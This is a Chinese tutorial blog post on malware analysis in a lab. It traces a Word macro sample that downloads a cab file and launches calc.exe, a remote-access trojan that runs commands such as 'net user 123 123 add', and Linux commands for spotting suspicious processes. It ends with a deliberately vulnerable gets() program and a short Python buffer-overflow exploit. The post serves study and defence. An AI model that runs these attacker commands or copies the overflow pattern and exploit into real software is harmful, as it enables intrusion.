恶意软件分析四:动静结合

恶意软件分析四:动静结合

文章内容只是分享自己的知识库,仅代表自己的理解,不一定准确,希望大家在观看时只是参考,思维不要受其限制。

实用说明

根据之前所学的静态和动态分析技术对测试样本进行分析。

word宏病毒

Surface layer​

  • 在下载文件途中打开外部地址

    20231130102041927-1688289908357

  • 打开 word 文档后,发现计算器程序处于打开状态(此处代表恶意行为)

    20231130102132819-1688289908372

监测

  • 网络监测

    20231130102304827-1688289908391

分析:

  • 启动程序-WINWORD.EXE *64位
    请求地址-http:192.168.86[.]144/
    响应服务–由 python3 的 SimpleHTTPServer 模块打开的网络服务
    请求文件
    http://192.168.86.144/word.cab
    cab 是 windows 的压缩格式,用 7-z 来解压缩
  • 行为监测
    查找打开 word 文件的主程序
    任务管理器:

    20231130102721381-1688289908403

  • 与网络监控相同的进程树,供启动程序查看执行流程:

    20231130102757213-1688289908425

  • 分析
    正常:只是打开一个Word文档
    可疑:控制面板程序 control.exe 被调用
    控制面板会在临时文件夹中执行名为 msword.inf 的配置文件,然后通过运行 cmd 程序(本例中为恶意程序)打开计算器程序 calc.exe

本身

  • 7-z查看word文档

    20231130103028929-1688289908440

  • 找到了访问可疑地址的方法

    20231130103117225-1688289908461

  • 结合之前的网络分析,访问该地址,然后跳转下载可疑文件

已下载的文件

  • 解压下载的文件

    20231130103306162-1688289908474

  • 可以直接打开并解压缩(也可以 7-z 解压缩,效果相同,但解压缩后的大小不同),然后找到执行控制面板程序的配置文件 msword.inf
  • 运行测试

    20231130103456902-1688289908489

  • 成功执行,验证恶意代码已被文件加载
  • 字符串浏览
    使用 cutter 查看下载的 word.cab 文件

    20231130103621418-1688289908504

  • 查看计算器相关内容(此处的 calc.exe 代表恶意程序)
  • 调试监测
    关键功能已运行,恶意程序已成功加载
    essential call:
    00007FF67F1128E3 | E8 C8F4FFFF              | call control.7FF67F111DB0               |

    20231130103754527-1688289908535

  • 前往查看(已加载恶意配置文件)

    20231130103825102-1688289908568

  • ShellExecuteExW 函数(通常可使用该函数执行外部程序或打开文件)

    20231130103903549-1688289908596

    rundll32.exe(rundll32.exe 用于在内存中运行 DLL 文件,它们将在应用程序中使用,可用于在内存中执行恶意 dll)

    20231130103937771-1688289908623

  • *cmd,*bat  //这里的 dos 环境已经准备就绪
    00007FFDF9DD11ED | 48:8D15 94DA4800         | lea rdx,qword ptr ds:[7FFDFA25EC88]     | rdx:L"*.CMD;*.BAT", 00007FFDFA25EC88:L"*.CMD;*.BAT"
    00007FFDF9DD11F4 | 48:8BC8                  | mov rcx,rax                             | rax:L"rundll32.exe"

    20231130104048223-1688289908653

  • syscall (该系统调用完成运行并加载恶意配置文件,以便运行 dos 环境启动计算程序,此处为恶意程序 syscall:表示系统调用)

    20231130104115250-1688289908677

  • 反汇编定位器:常量字符 命令启动 calc.exe

    20231130104147231-1688289908702

    定位技巧:字符串搜索关键信息,然后双击进入拆解页面查看

    调试器跟踪并监控同一运行进程。

远程控制病毒

运行

  • 测试机,发现可疑进程

    20231130104408112-1688289908722

  • 在模块列表中看到了 RPCRT4.DLL
    文件描述:远程程序调用运行时
    在 explorer.exe 进程树下
    判断:可疑模块,一般程序只有在有远程要求的情况下才会加载,当前测试机没有已知远程,test.exe加载此模块不正常,因此在explorer.exe进程树中判断用户启动进程。
  • 攻击机已经控制了测试机

    20231130110316874-1688289908736

  • 进程树
    找到可疑程序的位置,运行并监控它以查看进程树

    20231130110434113-1688289908750

  • 测试调用某些程序
    ipconfig.exe:(运行以下命令:ipconfig,解析查询当前 IP 的行为)ipconfig.exe:(运行以下命令:ipconfig,解析查询当前 IP 的行为)
    whoami.exe:(运行以下命令:whoami,通过行为解析显示登录用户信息)
    net.exe:(运行以下命令:net user 123 123 add,行为解析为创建账户行为)
  • 此时可以确定 test.exe 执行了恶意行为
  • 网络溯源

    20231130110633253-1688289908776

    经常外联到此 IP:192.168.86[.]114
    初步确定为攻击者使用的 IP

定位和分析

查找程序并加载分析工具进行分析

20231130110818107-1688289908790

  • VirtualAlloc 函数
    用于请求内存空间的 Windows API 函数
  • ExitProcess 函数
    Windows API 函数,用于结束调用进程及其所有线程。
  • 功能
    该调用将调用 syscall 向攻击机器发送网络数据

    20231130111703994-1688289908813

    call:00007FF8054B2A59 | 48:FF15 301F0500         | call qword ptr ds:[<&NtDeviceIoControlF |
    Go to call:
    00007FF8086CCEF0 | 4C:8BD1                  | mov r10,rcx                             |
    00007FF8086CCEF3 | B8 07000000              | mov eax,7                               |
    00007FF8086CCEF8 | F60425 0803FE7F 01       | test byte ptr ds:[7FFE0308],1           |
    00007FF8086CCF00 | 75 03                    | jne ntdll.7FF8086CCF05                  |
    00007FF8086CCF02 | 0F05                     | syscall                                 |
    NtDeviceIoControlFile
    功能解析:为提供的缓冲区构建描述符,并将未键入的数据传递给与文件句柄关联的设备驱动程序。

Linux 病毒检测

网络相关

  • ifconfig命令
    如果发送的数据过大,或接收到的数据与发送的数据比较差异过大(没有下载数据),则可疑,需要进一步调查。
    RX 数据包 // 接收到的数据包数量
    TX 数据包 // 发送的数据包数
    接收字节数 // 接收到的字节数
    发送字节数 // 发送的字节数
  • 20231130112100724-1688289908830

    nethogs 命令(正常情况下需要安装)
    列出进程的网络状态

    开发网卡
    发送
    收到

    20231130112603902-1688289908843

  • 参见流程 1 发送和接收数据,参见详情
  • top命令
    查询指定进程的资源使用情况
    top -p 7132  //7132 代表进程 pid

    20231130112845683-1688289908855

  • 起初,监控资源占用率并不高,但到了后期,监控资源逐渐被过度占用,这可能是因为远程控制木马驻留,然后接收指令执行攻击,例如:搜索指定文件

    20231130112959935-1688289908870

  • 按 PID 查找进程路径
    cd /proc/7132 //7132 是进程 pid
    ls -ail //exe 对应的是可执行路径信息
    其他知识:
    Linux 系统中的 /proc 目录是一个文件系统,即 proc 文件系统。与其他常见的文件系统不同,/proc 是一个伪文件系统(即虚拟文件系统),它存储了一系列有关当前内核状态的特殊文件,用户可以通过这些文件查看系统硬件和当前运行进程的信息,甚至可以通过更改其中一些文件来改变内核状态。
    ls -ail [目录名]: 打印当前/指定目录下的目录文件
    综合查询: ls -ail /proc/7132
    如果您没有 root 权限,某些信息将不可用,例如会显示以下信息:
    ls: Unable to read symbolic link '/proc/7132/cwd': insufficient permissions
    ls: Unable to read symbolic link '/proc/7132/root': insufficient permissions
    ls: Unable to read symbolic link '/proc/7132/exe': Insufficient permissions

    20231130113352510-1688289908883

  • 猜测状态查询外联IP
    netstat -na|grep ESTABLISHED

    20231130113554763-1688289908895

  • 按端口回溯进程
    netstat -nap | grep 47074

    20231130113641232-1688289908907

  • 根据 pid 查看进程内存

    20231130115336239-1688289908921

    pmap -d 3885
  • 根据 pid 关闭进程
    kill -HUP 3885

    20231130125242980-1688289908932_2023-11-30_12-52-17

利用程序溢出漏洞

这是一个基于存在溢出漏洞的程序的简单模拟攻击程序。

浅析攻击程序的利用思想及溢出漏洞的产生。

源代码分析

存在缓冲区漏洞程序源代码。

注:修改自STACK1_VS_2017.cpp

工具链:Mingw

#include <stdlib.h>
#include  <stdio.h>
#include "Windows.h"

int main(int argc, char **argv) {

    MessageBoxA((HWND)-0, (LPCSTR) "检测程序是否正常运行\n", (LPCSTR)"功能", (UINT)0);

    int cookie;
    char buf[2];
    int *a = &cookie;
    char *b = buf;
    printf("buf: %08x cookie: %08x\n", b, a);
    u_int64 p =(u_int64)a-(u_int64)b;
    printf("程序正常运行,存在缓存区溢出漏洞,其中两变量内存地址之差=%d:\n注意:若超过此值则缓冲区溢出\n",p);
    gets(buf);
    if (cookie == 0x41424344)
        printf("缓冲区溢出,已被成功利用此漏洞,隐藏信息已显示,请排查\n");

}

根据源代码,如果 gets 函数得到的数据是 **DCBA(*通配符,如 11DCBA,字符串 DCBA 的十六进制值是 44434241,因为在堆栈中读写数据的顺序是先进后出,所以真正的调用是 ABCD),则证明该程序的缓冲区溢出漏洞被利用,并显示了隐藏信息(根据代码逻辑,程序的正常运行不满足显示该隐藏信息的条件)。

造成缓冲区漏洞的原因是 buf 应用程序缓冲区大小为 2,而且该缓冲区不受保护,因为它是通过 gets 获取的,如果获取的数据超过 2,缓冲区就会溢出。

攻击利用代码

import sys
from subprocess import Popen, PIPE
 
payload = b"A" * 2 + b"\x44\x43\x42\x41"
 
p1 = Popen(r"C:\Users\用户名\Desktop\test\cmake-build-debug\test.exe", stdin=PIPE)
print ("PID: %s" % hex(p1.pid))
print ("Enter para continuar")
p1.communicate(payload)
p1.wait()
input()

效果:缓冲区溢出成功,通过输入特定代码读取隐藏消息

20231130125954680-1688289908945

监测:procexp64

20231130130628823-1688289908957_2023-11-30_13-06-07

Procmon64

20231130130730640-1688289908975

找到要使用的脚本 test.py

拆解分析

运行到模块值:test.exe

20231130131020504-1688289908994

入口断点断开,未见泄露信息相关内容,字符串搜索快速定位漏洞函数代码块

注意:为了使可执行文件正常运行和启动,编译器会添加大量代码。因此,第一个入口函数断点通常不会断开到主函数

20231130131145763-1688289909015

反编译器对照检索:MapoAnalyzer

20231130131253798-1688289909035

Snowman

20231130131447356-1688289909048_2023-11-30_13-13-42

跟踪分析: 输入字符串时,在堆栈窗口中看到两个变量相邻

20231130131521652-1688289909071

根据反编译结果分析,输入字符串的值是对应 buf 变量的值,而现在 cookie 对应的也有一个值,分析数据溢出,导致 cookie 对应地址有一个值并为输入值减二,即 DCBA,如下图所示:

20231130131601579-1688289909095

00000000004015E1 | 8B45 E4                  | mov eax,dword ptr ss:[rbp-1C]           |
00000000004015E4 | 3D 44434241              | cmp eax,41424344                        |
00000000004015E9 | 75 0C                    | jne test.4015F7                         |
00000000004015EB | 48:8D0D A67A0000         | lea rcx,qword ptr ds:[409098]           | 0000000000409098:"缓冲区溢出,已被成功利用此漏洞,隐藏信息已显示,请排查\n"
00000000004015F2 | E8 49630000              | call <test.begin of _Z6printfPKcz>      |

20231130131630390-1688289909116

你可以看到输入

字符串已满足条件,但跳转不成功,从而检索到隐藏信息,并进行扩展分析:

gets函数

网络来源:gets 可以无限读取而不判断上限,也就是说,gets 函数不检查缓冲区的大小,事实上它也无法检查缓冲区的空间。

结合分析结果,由于程序使用 get 函数获取输入数据,因此存在溢出漏洞,程序会根据此漏洞隐藏某些字符。

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容